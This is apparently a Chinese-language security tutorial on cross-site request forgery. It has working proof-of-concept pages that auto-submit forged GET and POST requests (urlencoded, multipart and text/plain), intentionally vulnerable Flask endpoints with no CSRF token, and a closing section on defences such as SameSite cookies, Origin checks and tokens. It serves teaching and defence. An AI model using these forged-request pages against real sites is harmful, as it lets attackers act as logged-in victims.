神魔是CSRF
CSRF(Cross-Site Request Forgery)跨站请求伪造,攻击者通过一些手段欺骗用户去访问自己认证过的且参数可被攻击者预知的网站,以用户的身份来执行一些敏感操作。
CSRF VS XSS:
- CSRF:伪装成受信任的用户去请求受信任的网站
- XSS:直接窃取他人用户身份凭证
CSRF分类
| 请求方式 \ Content-type |
可被利用的 Content-Type |
说明 |
| GET |
任意类型(请求参数在 URL 中) |
简单构造 <img> 或 location.href 即可 |
| POST |
1. application/x-www-form-urlencoded 2. multipart/form-data 3. text/plain |
需要构造 |
判断是否有csrf:
通过看你想执行的任务成没成功来判断是否有csrf
GET型
仅仅需要HTTP请求即可构造csrf
例子:
https://test.com/admin/reSendByBirthDay?birthDay=YYYYMMDD
1 2 3 4 5 6 7 8 9 10 11 12
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>CSRF POC</title> <script> window.onload = function (){ window.location.href = "https://test.com/admin/reSendByBirthDay?birthDay=YYYYMMDD" }; </script> </head> </html>
|

POST型
Content-Type
例:
https://test.com/admin/lang/keySave
上述接口存在 CSRF 问题,攻击者可诱骗已登录后台的用户打开恶意链接后修改多语言 Key 的相关配置
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>CSRF POC</title> </head> <body> <form action="https://test.com/admin/lang/keySave" method="POST" enctype="application/x-www-form-urlencoded"> <input type="hidden" name="id" value="413" /> <input type="hidden" name="code" value="413413"> <input type="hidden" name="memo" value="csrf2222" /> <input type="hidden" name="type[]" value="1" /> <input type="hidden" name="status" value="2" /> <input type="submit" value="submit"> </form>
<script> document.forms[0].submit(); </script>
</body> </html>
|
修改前后对比:



Content-Type:multipart/form-data
利用场景:
- 上传接口允许不上传文件
- 文件上传接口未校验上传文件(图片文件 -> 可上传任意文件)
- 论坛/博客后台上传图文内容
例:
victim.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| from flask import Flask, jsonify, make_response, request
app = Flask(__name__)
fake_user_db = { "user1": {"phone": "15888888888", "avatar": None}, "user2": {"phone": "13566666666", "avatar": None} }
session_map = { "valid_session_user1": "user1", "valid_session_user2": "user2" }
def get_current_user(): session_id = request.cookies.get("session_id") print(session_id) return session_map.get(session_id)
@app.route("/edit", methods = ["POST"]) def edit(): current_user = get_current_user() print(current_user) if not current_user: return jsonify({"status": "unauthorized"}), 401 new_phoneNum = request.form.get("phone") if new_phoneNum: print(f'修改手机号为{new_phoneNum}') fake_user_db[current_user]["phone"] = new_phoneNum avatar = request.files.get("file") if avatar: fake_user_db[current_user]["avatar"] = avatar.filename print(f"上传文件: {avatar.filename}") return jsonify({ "status": "修改成功", "username": current_user, "phone": fake_user_db[current_user]["phone"], "avatar": fake_user_db[current_user]["avatar"] })
@app.route("/login/<user>", methods = ["GET"]) def login(user): if user not in fake_user_db: return jsonify({"status": "error", "message": "用户不存在"}) res = make_response(jsonify({ "status":"ok","user": f"{user} 已登录" })) res.set_cookie("session_id",f"valid_session_{user}") return res if __name__ == "__main__": app.run(host="127.0.0.1", port=5002, debug=True)
|
hack.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <!DOCTYPE html> <meta charset="utf-8"> <html>
<head> <title>CSRF Attack - multipart/form-data</title> </head>
<body> <h3>修改phone</h3>
<form id="csrf-form" action="http://127.0.0.1:5002/edit" method="POST" enctype="multipart/form-data"> <input type="text" name="phone" value="6666666666666"> <input type="file" name="avatar" value="" /> <input type="submit" value="submit" /> </form>
<script> document.getElementById("csrf-form").submit(); </script> </body>
</html>
|


Content-Type:text/plain
例:
victim.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from flask import Flask, request, jsonify, make_response
app = Flask(__name__)
fake_user_db = { "user1": {"username": "user1"}, "user2": {"username": "user2"} }
session_map = { "valid_session_user1": "user1", "valid_session_user2": "user2" }
def get_current_user(): session_id = request.cookies.get("session_id") return session_map.get(session_id)
@app.route("/login/<user>", methods=["GET"]) def login(user): if user not in fake_user_db: return jsonify({"status": "invalid user"}), 400
session_token = f"valid_session_{user}" session_map[session_token] = user resp = make_response(jsonify({"status": "logged_in", "user": user})) resp.set_cookie("session_id", session_token) return resp
@app.route("/text", methods=["POST"]) def text(): current_user = get_current_user() if not current_user: return jsonify({"status": "unauthorized"}), 401
text = request.get_data(as_text=True) print(f"[{current_user}] 提交的文本: {text}") return f"you got it, {text} (from {current_user})"
if __name__ == "__main__": app.run(port=5001)
|
hack2.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <!DOCTYPE html> <meta charset="utf-8"> <html>
<head> <title>CSRF Attack - multipart/form-data</title> </head>
<body> <h3>修改text</h3>
<form id="csrf-form" action="http://127.0.0.1:5001/text" method="POST" enctype="text/plain"> <textarea name="text">hack success</textarea> <input type="submit" value="submit" /> </form>
<script> document.getElementById("csrf-form").submit(); </script> </body>
</html>
|



修复方式
- Cookie属性 SameSite = Strict
| SameSite 属性 |
是否允许跨站带 Cookie |
说明 |
| Strict |
❌ 不允许跨站 |
最严格,只允许同源访问 |
| Lax(默认) |
⭕ GET 可以 |
相对宽松,允许 GET 表单或链接跳转 |
| None |
✅ 都允许(不安全) |
完全允许(但必须配合 Secure) |
Secure: 只允许通过 HTTPS 发送 Cookie
允许 SameSite=None,说明你接受跨站请求时也能带上这个 Cookie。
如果没有 Secure,攻击者可以诱导浏览器访问一个伪造的 HTTP 地址,中间人就能拦截 Cookie。
设置了 SameSite=None 但没加 Secure,浏览器会拒绝这个 Cookie 生效。
缺点:太严格,跳转和嵌套场景会失效
- 验证 HTTP 的 Referer/origin
只允许来自本站域名的请求被服务器处理
服务器端进行判断:
- 发起请求时加一个攻击者无法获取到的值
- CSRF Token:Token 参数值由服务端使用“足够安全的随机数生成算法”生成并存储在客户端的 Cookie 和服务端的 session 中,如果发送请求时的参数值与 Cookie 中的 Token 参数值和 session 中的 Token 参数值不相同,那么该请求无效
- 验证码:验证码强制用户必须与应用进行交互才能完成最终请求,因此通常情况下,验证码能够很好地遏制 CSRF 攻击,但是出于用户体验考虑,不能所有操作都加上验证码,所以验证码仅作为防御 CSRF 的一种辅助手段,不能当做最主要的解决方案。